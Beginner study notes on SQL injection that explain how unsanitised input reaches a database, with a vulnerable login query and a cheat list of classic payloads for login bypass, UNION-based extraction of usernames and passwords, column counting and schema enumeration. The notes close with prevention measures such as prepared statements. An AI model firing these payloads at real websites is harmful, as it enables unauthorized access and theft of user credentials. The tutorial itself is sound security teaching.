👶💻
SQL Injection (SQLi) – Beginner Notes
1️⃣ What is SQL Injection?
SQL Injection is when an attacker tricks a website into running
SQL commands that the developer never intended.
👉 The website talks to a database using SQL
👉 User input is mixed directly into SQL
👉 Attacker enters SQL code instead of normal input
👉 Database obeys 😐
That’s it.
2️⃣ Real-life analogy 🏦
Imagine a school attendance register.
Teacher asks:
“What is your roll number?”
You answer:
10
Teacher writes:
SELECT * FROM students WHERE roll = 10;
Now imagine you answer:
10 OR 1=1
Teacher writes:
SELECT * FROM students WHERE roll = 10 OR 1=1;
1=1 is always true, so everyone’s data comes out.
💥 Boom — SQL Injection.
3️⃣ Where does SQL Injection happen? 🎯
SQLi happens ONLY where:
✔ User input
✔ Goes to database
✔ Without proper filtering
Common attack points:
● 🔐 Login forms (username/password)
● 🔍 Search boxes
● 🌐 URL parameters
● 📄 Feedback / contact forms
● 🧾 Product ID pages
Example URL:
[Link]
4️⃣ Normal vs Vulnerable Code ⚠️
❌ Vulnerable SQL (Bad)
SELECT * FROM users WHERE username = '$username' AND password =
'$password';
If user enters:
username: admin
password: ' OR '1'='1
SQL becomes:
SELECT * FROM users
WHERE username = 'admin' AND password = '' OR '1'='1';
'1'='1' → TRUE
👉 Login bypassed 😵
5️⃣ Types of SQL Injection (Simple)
1️⃣ Authentication Bypass
Login without password
2️⃣ Data Extraction
Read users, passwords, emails
3️⃣ Data Modification
Change or delete data
4️⃣ Database Discovery
Find tables, columns, DB names
6️⃣ Basic SQL Queries (Must Know) 📚
Select data
SELECT * FROM users;
Select specific columns
SELECT username, password FROM users;
Condition
SELECT * FROM users WHERE id = 1;
Comment symbols (IMPORTANT!)
-- #
/* */
Comments stop the rest of the query.
7️⃣ First SQLi Payloads (Beginner) 🔥
Test if vulnerable
'
"
If error appears → possible SQLi
Always True Condition
' OR 1=1 --
Used for:
● Login bypass
● Dumping data
Login Bypass Example
Username: admin
Password: ' OR '1'='1 --
8️⃣ Finding Database Information 🗂️
Database version
' UNION SELECT version() --
Current database
' UNION SELECT database() --
9️⃣ UNION Based SQL Injection (Core Concept)
UNION joins two queries.
Original query
SELECT name FROM products WHERE id = 1;
Injected query
1 UNION SELECT username FROM users --
Final SQL:
SELECT name FROM products WHERE id = 1
UNION
SELECT username FROM users;
👉 Product names + usernames shown together
🔟 Finding Number of Columns 🧠
ORDER BY method
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
When error appears → stop
That number = column count
1️⃣1️⃣ Extracting Table Names (MySQL)
' UNION SELECT table_name FROM information_schema.tables --
1️⃣2️⃣ Extracting Column Names
' UNION SELECT column_name FROM information_schema.columns --
1️⃣3️⃣ Simple SQLi Cheat Payloads 📌
' OR 1=1 --
' OR 'a'='a --
admin' --
' UNION SELECT null --
' UNION SELECT username,password FROM users --
1️⃣4️⃣ Why SQL Injection is Dangerous ☠️
SQLi can:
● Steal passwords
● Delete databases
● Modify marks / money
● Take full server control
One bug = full compromise
1️⃣5️⃣ How Developers Prevent SQLi 🛡️
✔ Prepared Statements
✔ Parameterized Queries
✔ Input Validation
✔ Least privilege DB users
✔ WAF (Web Application Firewall)
Example (Safe):
SELECT * FROM users WHERE username = ? AND password = ?;